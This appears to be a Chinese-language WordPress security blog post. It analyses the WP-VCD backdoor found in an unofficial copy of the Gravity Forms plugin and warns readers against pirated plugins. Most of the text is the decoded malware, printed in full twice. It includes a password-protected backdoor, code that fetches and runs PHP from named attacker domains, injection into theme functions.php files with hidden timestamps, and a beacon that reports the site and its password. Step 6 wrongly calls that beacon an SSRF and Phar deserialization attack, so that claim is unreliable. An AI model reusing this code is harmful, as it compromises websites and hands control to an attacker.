【WordPress安全】千萬不要安裝來路不明的外掛！實際案例分享

最後更新日期：2019 年 7 月 26 日

最近有人詢我問一個來路不明的付費外掛 Gravity Forms 能不能夠安裝，於是我看一下程式碼，發現了精彩的案例！

本篇文章將會分析來路不明的外掛有多危險 …

外掛安裝包解析

step 1

有天有人給我了一包免費的 Gravity Forms ，身為讀資安的我當然意識要更高一點，於是打開來看一下資料夾。

打開了之後發現，挖！看起來好像是真的，都是一堆form的檔名。

step 2

但是眼尖的你有沒有發現，咦！怎麼有一個檔案怪怪的，他的日期是與眾不同，檔名叫做 class.plugin-modules.php。

特別的檔案

step 3

接著來查看另一個資料夾 Add-Ons，此外，還有一個很詭異的網站。

step 4

打開後發現，奇怪，有好多詭異的資料夾。

step 5

我選 ForGravity 打開，又看到了很多壓縮檔。

step 6

隨便找一個壓縮檔打開，咦！又是一樣的檔案：class.plugin-modules.php。

其他資料夾也都大同小異，接下來我們就來分析這個檔案。

程式碼解析

首先，原始碼可以在這裡看到： https://www.unphp.net/decode/3741be1e37a3ecaef32db9a43c0ea0e4/

這網站沒有毒，請放心使用！

step 1

首先，第一段就來者不善，把 php 的錯誤報告關掉，然後定義一些參數。


//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//kNRa0pDUWw3Q2drSkNRa0pD
DEFINE('MAX_LEVEL', 2);
//mVWtWUlZVVlRWRnNuWVdOMGF
DEFINE('MAX_ITERATION', 50);
//NBZ0lDQWdJQ0
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
//Q0FnSUNBZ0lDQWdJQ0FnS

step 2

接著可以看到他定義了一串詭異的字串，看到最後面有 =，馬上拿去 Base64 Decode。


$GLOBALS['WP_CD_CODE'] = '<?php
error_reporting(0);
//KGlzc2V0KCRfUkVRVUVTVFs
ini_set('display_errors', 0);
//VTVFsnbmV3ZG9tYWluJ10pKQoJCQkJCQl7CgkJCQkJCQkKCQkJCQ

	$install_code = '<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
        if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>';
	
	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
	

			$themes = ABSPATH . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
				
			$ping = true;
				$ping2 = false;
			if ($list = scandir( $themes ))
				{
					foreach ($list as $_)
						{
						
							if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
								{
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
										
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
										{
											if (strpos($content, 'WP_V_CD') === false)
												{
													$content = $install_code . $content ;
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
												}
											else
												{
													$ping = false;
												}
										}
										
								}
								
								
								                              else
                                                            {
                                                            $list2 = scandir( $themes . DIRECTORY_SEPARATOR . $_);
					                                 foreach ($list2 as $_2)
					                                      	{
															

                                                                                    if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
								                      {
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php');
										
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php'))
										{
											if (strpos($content, 'WP_V_CD') === false)
												{
													$content = $install_code . $content ;
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php', $content);
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . $_2 . DIRECTORY_SEPARATOR . 'functions.php' , $time );
													$ping2 = true;
												}








											else
												{
													//$ping = false;
												}
										}
										
								}



                                                                                  }

                                                            }
								
								
								
								
								
								
						}
						
					if ($ping) {
						$content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
						//@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));
					}
					
															if ($ping2) {
						$content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
						//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
					}
					
					
					
				}
		




?><?php error_reporting(0);?>';

step 3

Base64 Decode之後，又是一段 php 的程式碼。

我取最上面的三行，又發現一串 Base64 的字串，後面兩行是把這段 Decode。

所以我還是先把 $install_code 拿去 Decode 看看到底長什麼樣子。


 $install_code = '<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='fdaa79a46958cbc1ce3a557718ec5670';
        if (($tmpcontent = @file_get_contents("http://www.pharors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.pharors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.pharors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.pharors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>';

$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

step 4

這次終於 Decode 完成了，得到最底層的程式碼，先拿第一段來講解。

簡單來說就是在你的網站做了兩個功能，改變你的網域以及改變對方上傳的程式碼。


if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}')) {
$div_code_name = "wp_vcd";
switch ($_REQUEST['action']) {
case 'change_domain';
if (isset($_REQUEST['newdomain'])) {
if (!empty($_REQUEST['newdomain'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i', $file, $matcholddomain)) {
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}}}}
break;
case 'change_code';
if (isset($_REQUEST['newcode'])) {
if (!empty($_REQUEST['newcode'])) {
if ($file = @file_get_contents(__FILE__)) {
if (preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i', $file, $matcholdcode)) {
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}}}}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}

step 5

接著回到最一開始的 class.plugin-modules.php ，來看看後面的程式碼。

這邊是放一隻 wp-vcd.php 的檔案，到你的資料夾。


function WP_URL_CD($path)
{
if (($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE'])))) {
if (strpos($file, 'wp-vcd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
//@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));
}}}

step 6

後面還有利用SSRF的攻擊以及Phar反序列化的手法。


if ($ping) {
$content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}

if ($ping2) {
$content = @file_get_contents('http://www.pharors.com/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
//@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.pharors.com/admin.txt'));
//echo ABSPATH . 'wp-includes/class.wp.php';
}